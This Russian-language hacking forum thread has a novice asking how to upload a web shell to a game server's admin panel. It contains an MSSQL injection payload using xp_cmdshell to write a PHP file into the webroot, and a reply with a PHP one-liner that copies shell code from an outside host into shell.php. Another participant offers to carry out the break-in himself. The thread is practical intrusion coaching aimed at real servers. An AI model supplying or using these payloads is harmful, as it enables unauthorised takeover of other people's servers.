Всем привет, я новичок в этом деле на счет шеллов и никак немгу понять как мне прописать чтобы залить шелл, я захожу в админку там есть уязвимость через которую и можно прописать шелл, ну вот вопрос состоит как прописать ссылку например www.ссылка_на_шелл/c99.php Получается только залить phpinfo PHP: ; USE Master exec xp_cmdshell 'echo "<?php phpinfo(); ?>" > C:\AppServ\www\shell.php';-- Ссылку вписываю так Я вот сам немогу сообразить какб ы это обьянсить поподробней( Ну я хочу через CMD залить шелл
Через cmd нельзя никак (так как у тебя вроде нету доступа к нему на сколько я понял) Поищи в гугле "Мини шелл" (там все таки не полный шелл но можно что то сделать) А вообще надо смотреть какая у тя ситуация так будет лучше понимание людей (понимание проблемы)
<?php copy('http://yazzz.com/shell.txt','shell.php'); ?> Вот код Вместо www.yazzz.com/shell.txt пишешь путь до шелла который ты сам залил на какой нибуть хост, так как дальше его содержимое будет копироваться в файл shell.php (главное чтобы файл shell.php существовал уже в каталоге!)(шелл можно достать на madnet.name) Главное чтобы было с http вначале иначе код наврятли сработает Пробуй вообщем в правильности кода я не уверен
Щас попробуй! Я там просто обновлял пост (ошибки были) А лучше напиши как сначала будешь делать и что писать чтобы я смог проверить все ли правильно! Работать должно так как протестил на локалке
Скинь уязвимость в ПМ (если через акк уязв. то с акком) попробую залить шелл. как залью расскажу что и как я делал
muonline gamer detected Народ, тут всё просто =\ Все мушки (muonline серверы) ставят школьники по инструкции, смотрят видео и посторяют, чато даже phpmyadmin не удаляют Точно также их ломают такиеже школьники, также по инструкции, тупо повторяют что видят в видео, ТС какраз пример этого Мне даже кажеться это я эту дырку в паблик выложил, ибо я юзаю use master exec xp_cmdshell вместо exec master..xp_cmdshell, но не уверен, ТС, покажи де видео нащёл
Ponchik detected , мего хакер muonline, да я юзнул твой видос, ты так говришь о школьниках как будто ты с самого рождение все сразу знал...всему надо учится, подсказал бы что либо...
Scetcher, твоя проблема в том что ты хочеш хекать хекать хекать, но ты без понятия как это работает всё =\ Выучи PHP, MySQL напиши пару сайтов, и знания о хеке появятся сами собой Хек это побочный эффект так сказать, его низя познать незная как оно всё работает Пойди книги по программированию почитай, ну неделя у тя уйдёт чтоб книгу прочитать, зато всё поймёш и небудеш мозг насиловать нам